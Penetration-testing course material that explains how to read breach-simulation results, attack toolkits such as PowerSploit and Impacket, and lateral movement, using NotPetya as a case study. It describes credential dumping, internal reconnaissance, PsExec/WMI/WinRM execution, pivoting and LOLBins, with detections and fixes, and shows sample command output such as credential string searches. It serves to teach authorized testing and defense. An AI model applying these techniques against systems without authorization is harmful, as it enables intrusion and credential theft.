Scenario (fictional). Harbor Mutual's ROE allows Atomic Red Team on two test workstations from 14:00 to 15:00. The team's written assertion is that each test should leave raw events in the SIEM and raise an alert. You have the execution log, matched by hand against a SIEM search. Task: sort each row into Prevented, Detected, Visible but not detected, Not visible, or Invalid run, then say which gap to fix first.
| Row | Technique and test | Host | ExitCode | Raw events in SIEM | Alert |
|---|---|---|---|---|---|
| 1 | T1082, System Information Discovery | WS-14 | 0 | Yes: systeminfo and reg processes | None |
| 2 | T1087.002, Enumerate all accounts (Domain) | WS-31 | 0 | None from this host | None |
| 3 | T1053.005, Scheduled Task Startup Script | WS-14 | 1 | Yes, including an endpoint block event | "Task creation blocked" |
| 4 | T1135, Network Share Discovery command prompt | WS-14 | 2 | Yes: a net process; console shows System error 53 | None |
Ask three questions of each row, in order: did it run as designed, did a sensor record it, and was anyone told?
- Row 1: Visible but not detected. It ran, and the data arrived. No rule fired. A lone systeminfo may be too common to alert on, so the fix may be a rule that correlates several discovery commands.
- Row 2: Not visible. It ran, and nothing reached the SIEM. You cannot judge any rule, because no rule ever saw the data.
- Row 3: Prevented. The non-zero exit alone proves nothing; the block event and the alert prove it. It was detected as well.
- Row 4: Invalid run. Also a non-zero exit, and the easiest row to misread as a block. System error 53 means the path was not found: the test's input named a machine that does not exist. It tested nothing, so fix the input and run it again.
Fix row 2 first. A sensor gap hides every technique on that host, while row 1's gap is one rule. The sentence for the client: "WS-31 sends no process events to the SIEM, so nothing that happens on it can raise an alert."
Now change one input. The client forwards WS-31's process events and you run the same test again. ExitCode is still 0. Raw events now appear, and no alert fires. Row 2 moves to Visible but not detected, and the remaining problem is a missing rule. Had you written "no detection for T1087.002" after the first run, you would have sent the team to tune a rule that had never seen any data.
So what?: a BAS result is three separate facts. An exit code answers only the first. It never tells you whether a sensor recorded the test or whether a person was told.
The whole family at a glance
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| Scripted AD search (T1087.002, T1069.002, T1482) | Domain accounts can read much of the directory | PowerView, Get-ADUser, [adsisearcher] | Event 4104; enumeration from ordinary endpoints; event 1644 if enabled | Log and alert on it; remove stale and non-expiring accounts |
| SQL Server discovery at scale | Instances are registered in AD; logins are too broad | PowerUpSQL | SPN queries; connection bursts to TCP 1433; failed SQL logins | Least privilege for logins; segment database servers |
| Module kits in PowerShell (T1059.001) | PowerShell runs whatever a user may run | PowerSploit, PowerUp | AMSI and antivirus detections; event 4104 | Application control, ConstrainedLanguage mode, script block logging |
| Protocol scripting (T1059.006) | Windows protocols answer any client that can authenticate, sometimes anonymously | Impacket | Remote logons, event 5140, antivirus detections on example scripts | Restrict anonymous access; SMB signing; segmentation |
| Packet handling | Protocols trust what arrives; offline, none | Scapy | Offline: nothing. On the wire: odd packets in IDS logs | Authenticated protocols, filtering at the edge |
| Bash pipelines (T1059.004) | Reachable ports answer; offline, none | grep, awk, tee, nc | Connection bursts in file order; process logs if audited | Segmentation and host firewalls |
| Rehearsal (BAS) | Controls assumed to work are never tested | Caldera, Infection Monkey, Atomic Red Team | Exactly what the test does, if the sensors work | Fix the gap the test shows, then run it again |
What the exam asks, and the pairs people confuse
Objective 4.10 begins "Given a scenario", so expect these cues.
| The stem says | It points to | Do not confuse it with |
|---|---|---|
| Bundle of PowerShell post-exploitation modules, no longer supported | PowerSploit | PowerView, one script inside it |
| Domain users, groups, trusts from PowerShell without RSAT | PowerView, or [adsisearcher] by hand | Get-ADUser, which needs the ActiveDirectory module |
| Find SQL Server instances across a domain | PowerUpSQL | PowerUp, for local privilege escalation |
| Search returns exactly 1,000 | Set PageSize; the server limit cut it off | A permissions problem, which gives a different count |
| Log file empty, messages on screen | The tool writes to standard error; use 2> or >> f 2>&1 | 2>&1 >> f, the wrong order |
| Only the last host is in the file | > overwrote; use >> | A loop that ran once |
| See the output and save it | tee -a | >>, which hides it |
| Every port looks open after adding a pipe | Exit status of the last command; set -o pipefail | A firewall answering for the host |
| Filter must match whole addresses literally | grep -Fx | grep -f, regular expressions anywhere in the line |
| Script SMB, MSRPC, NTLM or Kerberos in Python | Impacket | Scapy, for individual packets |
| Read a capture or build a packet in Python | Scapy | Impacket, for protocol conversations |
| Small test for one ATT&CK technique, no server | Atomic Red Team | Caldera, with its server, agents and planner |
| Adversary profiles, abilities, agents, operations | Caldera | Atomic Red Team |
| Self-propagating agent, infection map, Island server | Infection Monkey | Caldera, whose agents do not spread by themselves |
| Test ran, events present, no alert | Detection gap: rule or tuning | Logging gap: no events at all |
| Keep automation inside the ROE | Scope check that fails closed, exclusion list, rate limit | Trusting the input file |
How automated results are reported
Lesson 9's rule still holds: attach the script with its SHA-256 hash, the exact command with date and source address, the raw input, and a note of what you checked by hand. Automation adds two items: the refused list and the rate you actually used, so the client can match your traffic to the ROE and to its own logs. Rehearsal results add the test IDs, host, time and whether cleanup ran. Here is the worked example's main result as a finding, for the fictional client.
- Title: Workstation group sends no process events to the SIEM, so domain enumeration goes unseen.
- Severity: Medium. The test itself did no harm, and enumeration is only a preparatory step. But an attacker on these machines would raise no alert for anything that relies on process events. It would rise to High if the group holds privileged administrators, which the test did not establish.
- Evidence: Atomic Red Team test T1087.002, "Enumerate all accounts (Domain)", on WS-31 inside the agreed window; execution log with ExitCode 0 (hash in the evidence log); SIEM search for that host and window returned no events. A retest after forwarding was enabled returned the events, with no alert.
- Root cause: The group was built after log forwarding was configured and was never enrolled. No rule covers domain enumeration from ordinary workstations.
- Remediation: Enroll the group in forwarding and alert when forwarding stops. Add a rule for enumeration from non-administrative endpoints. Rerun the same test and confirm that an alert fires. Note that this test covers one technique on one host, not the whole estate.
Common misconceptions
- "PowerSploit is a current, maintained toolkit." It is archived and its README says it is unsupported. Know the name for the exam; expect defenders to detect it.
- "A read-only query needs no permission and leaves no trace." It still needs authorization. Script block logging and LDAP monitoring can record it.
- "Exit code 0 means the defense failed, and non-zero means it worked." An exit code only reports what the command did. A bad input also gives a non-zero exit.
- "A filter that dropped one stray address works." A regular expression can drop that stray and still approve its neighbors.
- "BAS replaces a penetration test." It repeats known behaviors to test controls. It does not hunt for paths nobody has thought of.
The short version
- PowerSploit is archived and unsupported. PowerView is its Recon script for domain enumeration, needing no RSAT; PowerUp is its local privilege escalation script; PowerUpSQL is NetSPI's separate SQL Server toolkit.
- Get-ADUser needs the ActiveDirectory module and Active Directory Web Services on TCP 9389, and returns default properties unless you add
-Properties.[adsisearcher]needs nothing installed and stops at the server's 1,000-entry limit unless you setPageSize. >moves only standard output, and nc's verbose messages go to standard error.>> f 2>&1captures both;2>&1 >> fdoes not.- A pipeline returns its last command's status unless
pipefailis on, so adding| teecan turn every closed port into an open one. grep -fmatches regular expressions anywhere in a line, and a blank pattern line matches everything.grep -Fxfmatches whole lines literally and fails closed.- Rate = workers / pause: ten workers pausing 0.5 seconds make twenty connections a second.
- Impacket is Python classes for SMB, MSRPC and Windows authentication. Scapy handles individual packets and can read a capture without sending anything; a SYN/ACK has the SYN bit set too, so check direction and the whole flag set.
- Atomic Red Team runs one YAML test per technique with no server; Caldera uses a server, agents, abilities, adversary profiles and operations; Infection Monkey's agent spreads and reports to the Monkey Island, its last stable release was 2.3.0 in 2023, and it dropped its ATT&CK report in 2.0.0.
- Read a BAS result as three facts (did it run, did a sensor record it, was anyone told) and sort it into Prevented, Detected, Visible but not detected, Not visible, or Invalid run.
Sources
- Microsoft. (n.d.). Microsoft Learn: Get-ADUser; Search-ADAccount; ActiveDirectory module; DirectorySearcher.PageSize; SizeLimit; network port requirements; about_Logging_Windows; about_Language_Modes; How AMSI helps; event 1644.
- PowerShellMafia. (2020). PowerSploit [archived repository and README]; PowerView documentation. github.com; powersploit.readthedocs.io; Kali Linux. (n.d.). powersploit package page.
- Sutherland, S., and NetSPI. (2024). PowerUpSQL [repository, README and cheat sheet]. github.com; cheat sheet.
- Fortra. (2026). Impacket (release 0.13.1) [repository and README]. github.com.
- Biondi, P., and the Scapy community. (n.d.). Scapy documentation: Introduction; Usage. scapy.readthedocs.io.
- Free Software Foundation. (n.d.). bash(1) (REDIRECTION; Pipelines) and grep(1). Linux man-pages. bash; grep; Hobbit. (1996). Netcat 1.10 source, netcat.c, function holler. Debian archive.
- Akamai Technologies. (n.d.). Infection Monkey documentation: Welcome; Network; FAQs; Security report; and the project's changelog.
- Red Canary. (n.d.). Atomic Red Team [repository, README and wiki]; Invoke-AtomicRedTeam wiki: execution, prerequisites, cleanup, logging. github.com; Getting Started; Execution Logging.
- The MITRE Corporation. (2026). MITRE ATT&CK, version 20: T1087.002; T1069.002; T1482; T1059.001; T1082; S0194; S0357. And Caldera documentation: terminology; operation results; with the repository and CVE-2025-27364.
- Key terms
- Standard streams
- The three channels every process starts with: standard input (0), standard output (1) and standard error (2). A plain > redirect moves only standard output.
- PowerSploit
- A collection of PowerShell modules for penetration testing, including Recon and Privesc. Its repository is archived and its README says it is no longer supported.
- PowerView
- PowerSploit's PowerShell script for Windows domain enumeration, built on LDAP and Win32 calls, so it needs no administration tools installed.
- PowerUpSQL
- NetSPI's PowerShell toolkit for discovering, auditing and attacking SQL Server at scale; it finds instances from service principal names in Active Directory.
- Impacket
- A collection of Python classes for network protocols, with SMB, MSRPC, NTLM and Kerberos support and a set of example scripts, maintained by Fortra's Core Security.
- Scapy
- A Python program and library that can send, sniff, dissect and forge network packets, and can read a saved capture without transmitting anything.
- Breach and attack simulation (BAS)
- Running known attacker behavior on purpose, under control and with permission, to check whether a defense prevents, records and alerts on it.
- Atomic Red Team
- Red Canary's library of small tests, each mapped to a MITRE ATT&CK technique, written in YAML and runnable with no server.
- Caldera
- An adversary emulation platform from MITRE: a server sends abilities, grouped into adversary profiles, to agents during an operation, and reports each step with its ATT&CK technique.
- Infection Monkey
- An open-source breach and attack simulation tool from Guardicore, now Akamai, whose worm-like agent spreads across a network and reports to a server called the Monkey Island.
Module 8: Post-Exploitation: Lateral Movement, Exfiltration and Cleanup (Domain 5, objectives 5.2, 5.3 and 5.4)
Follow what happens after a first foothold, as a tester must scope, document and reverse it: lateral movement, staging and exfiltration, then cleanup, restoration and the secure destruction of client data. A lesson on persistence is still being written.
Moving Through the Network: Pivoting, Relays, Remote Management, and Living off the Land
- Explain from NotPetya's documented behavior why stolen credentials and built-in administration tools spread further than any single exploit.
- Identify service discovery targets from inside a network, including SMB, RDP, VNC, SSH, LDAP, RPC, DCOM, printers and web interfaces, and read route tables and process IDs.
- Choose a pivot, relay or remote management channel by what traffic it carries, what it needs and what the rules of engagement permit, and predict the traces it leaves.
- Report lateral movement with hop-by-hop evidence, a root cause and fixes such as segmentation, Windows LAPS and command-line logging.
10:30 a.m. GMT, June 27, 2017: NotPetya leaves the updater
Around 10:30 a.m. GMT on Tuesday, June 27, 2017, Microsoft's telemetry caught EzVit.exe, the updater for a Ukrainian tax accounting program called M.E.Doc, starting a command line that told rundll32.exe to load a file named perfc.dat. That was NotPetya. The US government's alert traces the backdoor in M.E.Doc's development environment as far back as April 14. Microsoft saw more than 12,500 machines meet the malware in Ukraine, then infections in another 64 countries.
It demanded $300 in Bitcoin, but the alert found no evidence linking the encryption key to the victim's ID, and judged that it behaved more like destructive malware than ransomware. WIRED reported that it took 45 seconds to bring down the network of one large Ukrainian bank.
At the shipping firm Maersk, the foothold was a single finance computer in Odesa with M.E.Doc installed, and the company went on to rebuild 4,000 servers and 45,000 PCs.
In February 2018 the White House blamed the Russian military for "the most destructive and costly cyber-attack in history". In October 2020 the US Justice Department charged six GRU officers, citing nearly $1 billion in losses at three victims alone; charges are accusations, and the defendants are presumed innocent.
How does one computer become a global outage? Through lateral movement: using the host you hold to reach the hosts you want. A worm does it blindly. A tester does it on purpose, one agreed hop at a time, and writes each hop down. This lesson follows NotPetya's route and, at every stop, picks up what the exam expects a tester to know.
Exam objectives: 5.2 (pivoting; relay creation; enumeration, meaning service discovery, network traffic discovery, additional credential capture, credential dumping and string searches; service discovery targets; WMI; WinRM; LOLBins and the listed tools). The objectives PDF prints "Window Management Instrumentation" and "Window Remote Management"; both names are Windows, with an s.
Before you run anything
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Lateral movement raises the stakes, because every hop lands on a system someone depends on. A host you can reach is not a host you may touch; the rules of engagement (ROE) decide which is which.
Nothing in this lesson moves laterally in your lab. The only commands you run are read-only ones on your own VMs from Lesson 2 (Kali at 192.168.56.101, Metasploitable 2 at 192.168.56.102, host-only network) and discovery from Kali. PsExec, WMI, WinRM, Mimikatz and the toolkits are taught by purpose and by what they leave behind, with no invocation lines. Every other address and company here is fictional.
First stop: credentials, Mimikatz and string searches
NotPetya's first move on a new machine was to look for passwords. The US alert ranks a modified copy of Mimikatz as its first and, in most cases, most effective way to spread. Credential dumping means reading secrets from where the operating system keeps them.
Mimikatz's author describes a tool known for pulling plaintext passwords, hashes, PIN codes and Kerberos tickets out of memory, which on Windows means the memory of the Local Security Authority Subsystem Service (LSASS).
What matters here is why it fed a worm. Microsoft's explanation: people often log on with local administrator rights and keep sessions open on several machines, so one machine's memory holds keys that fit others.
Additional credential capture covers everything outside LSASS. NotPetya also read the Windows credential store and reused entries whose names begin TERMSRV/, which are saved Remote Desktop logins, and for existing connections it simply duplicated the current user's token. A tester's list is longer: saved sessions, browser stores, scripts, and cleartext logins seen on the wire.
String searches are the quiet end of the same work. On Windows, findstr searches text files; on Linux, grep does; and the strings utility pulls readable text out of binaries. Here is a search on a fictional Windows host and its result:
C:\inetpub\app> findstr /s /i /n "password" *.config
web.config:14: <add key="ReportDb" value="Server=10.20.0.25;User Id=svc_report;Password=[password removed]" />
That one line names a database, an account and a secret. Whether you may use it is a separate question: using a found credential is a new hop, and the ROE must allow it. If they do not, record the file, line and account, and report them. Try the idea in your lab, read-only, at Metasploitable's console: grep -rl "password" /var/www/dvwa/config should list the file holding DVWA's database settings.
Defenders are not blind here. Opening LSASS shows up as Sysmon Event ID 10 (ProcessAccess), and a search for "password" shows in any command-line log. Credential Guard isolates secrets with virtualization-based security, and LSA protection stops unprotected processes reading that memory. Neither repairs the root cause: one password, or one admin session, spread across many machines.
Second stop: enumeration from the inside
With credentials in hand, NotPetya asked what was nearby. The US alert says it read the host's IP-to-physical address table, better known as the ARP table. Microsoft says it scanned the local network for TCP 139 and 445, and that on domain controllers and servers it listed the DHCP subnets and scanned every client in them. That noise was visible: Microsoft told NetFlow users to look for workstations sweeping those ports across their own /24 and servers sweeping several /24s.
A tester starts more quietly. Network traffic discovery means learning who talks to whom before you send anything new: the host's existing connections, its ARP cache, and, if the ROE allow it, a short capture with tcpdump. Service discovery is the Nmap work from Lesson 7 from a new vantage point, and it comes after those quiet checks, because a sweep is exactly what Microsoft told defenders to hunt for.
Lesson 7 warned that a host with addresses in two networks is a possible bridge between them. Here is how you spot one from inside. This is sample output from a fictional web server:
C:\> route print
Network Destination Netmask Gateway Interface
0.0.0.0 0.0.0.0 203.0.113.1 203.0.113.21
10.20.0.0 255.255.255.0 On-link 10.20.0.6
203.0.113.0 255.255.255.0 On-link 203.0.113.21
C:\> netstat -ano
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49822 0.0.0.0:0 LISTENING 3380
TCP 10.20.0.6:51322 10.20.0.25:5432 ESTABLISHED 2764
TCP 203.0.113.21:443 198.51.100.77:52110 ESTABLISHED 2764
C:\> tasklist /svc /fi "pid eq 3380"
Image Name PID Services
========================= ======== ==========
nc.exe 3380 N/A
Read it line by line. Two On-link networks through two interfaces: this host is a bridge. The connection to 10.20.0.25:5432 tells you a PostgreSQL database lives on the inner network, and you learned it without sending a packet. Process IDs (PIDs) tie the two tools together: netstat -ano gives the number and tasklist /svc names the program. PID 4 is the System process, which owns kernel-mode listeners such as SMB. And PID 3380 is Netcat listening on a high port. If your team did not put it there, stop: that is evidence of someone else, and it goes up the escalation path (Lesson 27).
Try the Linux equivalents in your lab: ip -br addr and ip route on Kali, then route -n and sudo netstat -tlnp at Metasploitable's console. With Kali's NAT adapter disconnected you should see one network, so neither VM is a bridge.
Service discovery targets: what each port offers the next hop
From inside, the question for each open port changes from "what is running?" to "what could this do for the next hop, and who would see it?"
| Target and usual port | Legitimate purpose | Why a tester cares | What defenders can log |
|---|---|---|---|
| Server Message Block (SMB) and file shares: TCP 445, or 139 over NetBIOS | File and printer sharing; hidden admin shares C$, ADMIN$, IPC$ | Shares hold scripts and credentials. With an admin account, ADMIN$ lets you copy a file and run it remotely: the NotPetya route | Security events 4624 type 3 and 5140 or 5145, if share auditing is on |
| Remote Desktop Protocol (RDP): TCP 3389. Virtual Network Computing (VNC): TCP 5900 plus the display number | A full remote desktop | An interactive session on the next host. Saved RDP logins are reusable, and RFC 6143 calls classic VNC password authentication "cryptographically weak" | RDP: 4624 type 10. VNC: its own application log and flows to 5900 |
| Secure Shell (SSH): TCP 22, also carrying Secure Copy Protocol (SCP) | Encrypted remote shell and file copy | Keys found on one host may open others, and SSH can forward traffic with no new tool | The sshd log; flows to 22 between hosts that never talk |
| Cleartext: any protocol sending logins unencrypted | Legacy devices and old applications | From a pivot, a short capture can yield passwords with no login attempt at all | Almost nothing about the listener; flow data and IDS show the protocols in use |
| Lightweight Directory Access Protocol (LDAP): TCP 389; LDAPS 636; global catalog 3268 and 3269 | Directory queries for users, groups and computers | An ordinary domain account can read much of the directory, which feeds attack path mapping. A simple bind on 389 is cleartext | Directory Service event 2889 for unsigned or cleartext binds, once enabled |
| Remote Procedure Call (RPC): TCP 135 on Windows; TCP and UDP 111 (rpcbind) on Unix | Calling a function on another machine; the mapper says where each service lives | Shows what is registered: NFS on Unix, management interfaces on Windows, which then use a dynamic port (49152-65535 by default) | Flows to 135 followed by a high port; content is rarely logged |
| File Transfer Protocol (FTP): TCP 21 | Moving files | Anonymous access, cleartext logins, directories that may also serve the web | Server transfer log; IDS sees USER and PASS |
| Telnet: TCP 23 | Legacy remote terminal, still found on network gear | Cleartext logins, often default credentials on old devices | Device login log, if kept; any flow to 23 deserves an alert |
| HTTP and HTTPS web interfaces: TCP 80, 443, often 8080, 8443 or 8180 | Management consoles for switches, printers, hypervisors and application servers | Internal consoles are often older and less guarded, because only a pivot can reach them. Page titles and certificates usually name the product | Web access and device login logs, often not forwarded |
| Line Printer Daemon (LPD): TCP 515 | Print queues, defined in RFC 1179 | Printers are rarely patched hosts on trusted subnets, and queue names reveal departments | Print server job logs; flows to 515 from anything but a print server |
| JetDirect: TCP 9100 | HP's network print server; raw data sent to the port is printed | Nmap's version detection skips 9100 by default because some printers print anything they receive. Do not override that on a client's printers without agreement | Flows to 9100, and sometimes paper; printers log little |
| RPC/Distributed Component Object Model (DCOM): RPC on 135, then a dynamic port | Calling COM objects on another machine; the classic channel for WMI | Remote execution with a valid account. By default only Administrators may activate COM objects remotely | 135 then a high port, then a process started under svchost's DcomLaunch group |
| Process IDs (no port) | The number the operating system gives each running process | Ties a port or connection to a program, which can reveal security agents as well as services. On Linux, sudo netstat -tlnp or ss -tlnp | Sysmon events 1 and 3 and Security event 4688 record PIDs; looking one up resembles ordinary admin work |
Cleartext is worth seeing once. This is a fictional FTP login as a capture tool would reassemble it, with the secret replaced. Anyone on the path reads the same thing:
220 (vsFTPd 2.3.4)
USER svc_backup
331 Please specify the password.
PASS [password removed]
230 Login successful.
Try the table in your lab from Kali: sudo nmap -sV -p 21,22,23,80,111,135,139,389,445,515,3389,5900,5985,8180,9100 192.168.56.102. Expect something like this abridged sample, where the closed ports are answers too: this Linux target has no RDP, WinRM, LDAP or printer service.
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
23/tcp open telnet Linux telnetd
111/tcp open rpcbind 2 (RPC #100000)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3389/tcp closed ms-wbt-server
5900/tcp open vnc VNC (protocol 3.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
9100/tcp closed jetdirect
Third stop: crossing with PsExec, WMI and WinRM
Having found a target, NotPetya copied itself over with ordinary file transfer and the stolen credentials, then started the copy remotely with PsExec or the WMI command line. Its PsExec arrived renamed dllhost.dat and looked for admin$ shares. Neither step was a hack. These are administration tools doing their jobs for an account that appears to be allowed. Microsoft's own PsExec page notes that antivirus scanners sometimes flag it because viruses have used it; the tool itself is not malware. Here is what each channel needs and leaves behind.
| Channel | Ports | What it needs | What runs on the target | What it leaves behind |
|---|---|---|---|---|
| PsExec, Microsoft Sysinternals | TCP 445 | An admin account; access to ADMIN$ | Copies PSEXESVC over and runs it as a temporary service | System event 7045 naming PSEXESVC; 4624 type 3; share events for ADMIN$; the file visible crossing in SMB2 |
| Windows Management Instrumentation (WMI) | Over DCOM: TCP 135, 445 and a high port. Over WinRM: 5985 or 5986 | An admin account on the target | The command starts under WmiPrvSE.exe; no service is created | Process events with WmiPrvSE.exe as parent; flows to 135 then a high port; the WMI-Activity log if enabled |
| Windows Remote Management (WinRM) | 5985 for HTTP, 5986 for HTTPS | Service enabled; membership of Administrators or Remote Management Users | PowerShell remoting starts Wsmprovhost.exe; WinRS starts winrshost.exe | The Microsoft-Windows-WinRM/Operational log; 4624 type 3; PowerShell event 4104 where script block logging is on |
Read across the rows. PsExec is loudest on disk, because a service gets installed. WMI and WinRM write less but still produce a process with a telling parent. All three need the same thing, an account the target accepts, so the weakness is the credential and not the tool. One update for working testers: WMI is the service, and WMIC was only its command-line front end. Microsoft deprecated WMIC in Windows 10 version 21H1 and removed it from Windows 11 versions 24H2 and 25H2 with updates beginning in August 2026. WMI itself remains supported, and PowerShell is the replacement front end.
NotPetya's other route needed no credentials. EternalBlue and EternalRomance exploited SMBv1 flaws, CVE-2017-0144 and CVE-2017-0145. Microsoft had fixed both in MS17-010 on March 14, 2017, fifteen weeks earlier, and patched machines or those with SMBv1 disabled were not affected by that mechanism. They were still reachable by credentials. Mimikatz's author told WIRED the pair worked together: unpatched machines gave up passwords that opened patched ones.
Key idea: patching closed the exploit route, not the credential route. Movement through valid accounts and built-in tools works on a fully patched network, so the fixes are about credentials and reachability. They are unique local administrator passwords, fewer admin sessions, and firewalls between hosts with no reason to talk.
Where a tester parts company with a worm: pivoting and relay creation
NotPetya moved by copying itself, so every new host became the next attacker. Testers never release anything self-propagating. A tester sends traffic through a host instead. That is network pivoting, and it exists because of firewalls: the inner network drops your packets, but it accepts packets from a host that already lives there. Here is a fictional layout in words.
Kali 198.51.100.50
| firewall allows only SSH and HTTPS to app01
v
app01 eth0 203.0.113.20 | eth1 10.20.0.5 (the pivot: multihomed)
| a new connection, sourced from 10.20.0.5
v
fs01 10.20.0.40 (drops anything from outside 10.20.0.0/24)
Every method below fills in that middle arrow differently. Relay creation is the simplest: a process on the pivot listens on one port and joins it to a connection onward. The objectives do not define the phrase, but in context it means building that forwarder. Do not confuse it with a relay attack, which forwards someone's authentication and not your traffic.
| Method | What crosses the outer link | What fs01 sees | What it can carry | What it needs |
|---|---|---|---|---|
| Relay with Netcat, or Windows' built-in netsh portproxy | Raw bytes to one port on the pivot | A connection from 10.20.0.5 | One service per relay | A listener on the pivot that your side can reach |
| SOCKS proxy with Proxychains | Each connection wrapped in SOCKS, usually inside SSH or a framework session | A connection from 10.20.0.5 | TCP only, from dynamically linked programs. No UDP, ICMP or raw SYN scan | A SOCKS listener on the path; Kali wraps each tool |
| sshuttle | One SSH session carrying the data of every connection | A connection from 10.20.0.5 | Any TCP port on the subnets you name, plus DNS; UDP only with Linux TPROXY; no ICMP | An SSH login and Python on the pivot, no admin there; root on Kali |
| Metasploit session routes | Inside the session's own channel | A connection from 10.20.0.5 | Metasploit's modules; its SOCKS module extends the route to other tools through Proxychains | An authorized session on the pivot |
Two mechanisms explain most exam answers. Proxychains-ng's README says it hooks network functions in dynamically linked programs through a preloaded library and redirects connections through SOCKS or HTTP proxies, TCP only. So a program that calls connect() is carried, and Nmap's connect scan (-sT) works. A SYN scan (-sS) crafts raw packets that never pass through that hook, and neither does ping, so both fail or lie. A statically linked tool ignores the hook altogether.
sshuttle takes the other approach. On Kali it catches connections to the subnets you name, assembles each TCP stream locally, carries the data over the SSH session, and rebuilds packets on the far side. Its documentation calls that data-over-TCP, which avoids the terrible performance of tunneling TCP inside TCP. Your tools run unmodified against real addresses, which Proxychains cannot offer.
Look at the third column: in every row, fs01 logs the pivot's address, not yours. Client analysts tracing the activity will land on app01. That is why NIST SP 800-115 asks assessors to keep a step-by-step activity log: it lets the client tell your actions from a real adversary's. Defenders can still catch all of this. The giveaways are a listener that was not there before (netstat -ano names its PID), a long-lived SSH session or agent process, and flows from a DMZ host to management ports on the inside. ATT&CK files these under Internal Proxy (T1090.001) and Protocol Tunneling (T1572).
A worked decision: Northway Freight's two networks
Try this as you would a performance-based question: read the exhibits, make the calls yourself, then compare. Northway Freight is fictional.
Exhibit 1, ROE extract. Assumed breach: Northway issued the account pt-test, with SSH on app01 and local administrator on fs01. In scope: app01 and 10.20.0.0/24. Out of scope: 10.30.0.0/24 (payments). On fs01, prove access by running hostname and whoami once. No new services and no files written on production servers. No credential dumping.
Exhibit 2, read-only output on app01, and a connect check from app01 to fs01 that the ROE allow.
$ ip -br addr
eth0 UP 203.0.113.20/24
eth1 UP 10.20.0.5/24
$ ip route
default via 203.0.113.1 dev eth0
10.20.0.0/24 dev eth1 proto kernel scope link src 10.20.0.5
10.30.0.0/24 via 10.20.0.1 dev eth1
203.0.113.0/24 dev eth0 proto kernel scope link src 203.0.113.20
$ which python3
/usr/bin/python3
PORT STATE SERVICE (fs01, 10.20.0.40)
135/tcp filtered msrpc
445/tcp open microsoft-ds
3389/tcp filtered ms-wbt-server
5985/tcp open wsman
| Decision | Reasoning from the evidence | Answer |
|---|---|---|
| Which host is the bridge? | eth0 and eth1 sit in two networks, and only app01 is reachable from Kali | app01 |
| How far may it carry you? | The route table can reach 10.30.0.0/24 through 10.20.0.1. Reach is not scope | Name only 10.20.0.0/24 in any forward; a broader range would carry payments traffic |
| Which forwarder? | You need many ports on several hosts with Kali's tools unchanged. SSH works, Python is present, and you have root on Kali. A relay is one port at a time. Proxychains would work but needs a SOCKS listener, wraps every tool and carries TCP only | sshuttle |
| Which channel proves access to fs01? | PsExec: 445 is open, but it installs a service and writes a file, which the ROE forbid. WMI over DCOM: 135 is filtered. RDP: filtered. WinRM: 5985 is open, with no service and no file | WinRM |
| What is the evidence? | Run the two allowed commands and nothing else. fs01 will log a type 3 logon from 10.20.0.5, so your log must tie that to you | The record below |
2026-11-03 14:07:12 UTC 10.20.0.5 -> 10.20.0.40:5985 (WinRM) as pt-test
> hostname
FS01
> whoami
fs01\pt-test
Second run: the pivot changes, and the answer flips
Change one input. App01 is now a Windows server with no SSH service and no Python, and your foothold is a Metasploit session the ROE explicitly allow. Everything else stays the same. Work through what moves.
- The forwarder flips. sshuttle needs SSH and Python on the far side, so it is out. The next choice is Metasploit's route through the session, its SOCKS module, and Proxychains on Kali for your other tools.
- Your scans change. Proxychains carries TCP only. A ping sweep and -sS are off the table, so you scan named hosts with -sT and -Pn, slowly, and you check that each tool is dynamically linked.
- The trace on the pivot changes. An SSH login in an sshd log becomes an agent process holding network connections, which your report must name and your cleanup must remove (Lesson 26).
- The proof does not change. WinRM to fs01 depends on fs01's ports and the ROE, not on how your packets reached 10.20.0.5.
One more variation, because it is the one people get wrong. Had fs01 filtered 5985 as well, no permitted channel would remain. The right move is not to push harder. Record that segmentation held on that path, say what was not tested, and carry on.
Living off the land: rundll32 and the other LOLBins
Look back at how NotPetya ran: rundll32.exe loading its own library under a .dat name, the WMI command line, cmd.exe starting schtasks to schedule the reboot. Little of what ran was new. That is living off the land: using programs already present and trusted, so there is less to detect and less to block. The exam calls them LOLBins, living off the land binaries.
The LOLBAS project, the reference list, requires a binary to be Microsoft-signed, either native or downloaded from Microsoft, with "unexpected" functionality useful to an attacker or red team. The exam's list is looser. When checked on November 3, 2026, LOLBAS listed cmd, explorer, findstr, ftp, mmc, msbuild and rundll32 but not netstat, net or route, which only do what they say; ATT&CK catalogs those three as tools (S0104, S0039, S0103). Strings is not built in at all: it comes from Sysinternals on Windows and from binutils on Linux.
| Binary | Legitimate purpose | Why a tester cares | What defenders can log |
|---|---|---|---|
netstat | Shows connections and listening ports | Maps who talks to whom without a packet; -o adds the PID (T1049) | Process creation with command line; little else |
net commands (user, group, view, use) | Manages users, groups, services and network connections | Lists accounts and shares; net use maps an admin share with a credential (T1021.002) | net.exe and net1.exe process events; 4624 type 3; share events |
| cmd.exe | The Windows command interpreter; runs batch files | The common denominator: remote tools often end in a cmd.exe child (T1059.003) | cmd.exe under services.exe, WmiPrvSE.exe or wsmprovhost.exe is worth a look |
| explorer.exe | Manages files and the desktop shell | LOLBAS records that a new instance can start a program, breaking the expected process tree (T1202) | explorer.exe with arguments, started by an unusual parent |
| ftp.exe | Windows FTP client; can process text files in batch mode | Already present for transfers; LOLBAS also records it spawning commands (T1202) | ftp.exe process events; outbound flows to 21; cleartext logins |
| mmc.exe | Hosts admin consoles and snap-ins for local and remote management | Runs consoles (.msc files) under a signed binary (T1218.014); its MMC20 COM object is a known DCOM route (T1021.003) | New .msc files; mmc.exe with an unusual parent |
| rundll32 | Loads and runs DLLs | LOLBAS notes any file extension is accepted, which is how perfc.dat ran (T1218.011) | rundll32 command lines naming non-DLL files or odd paths |
| msbuild | Microsoft's build engine; works without Visual Studio | Compiles and runs inline tasks from an XML project file, which tests whether application control covers it (T1127.001) | MSBuild.exe on non-developer machines. Microsoft recommends blocking it there |
route print | Shows or changes the routing table | Reveals other networks, so it finds pivots. Print only: changing routes is a configuration change to undo later | Process events; route add is the rarer, louder one |
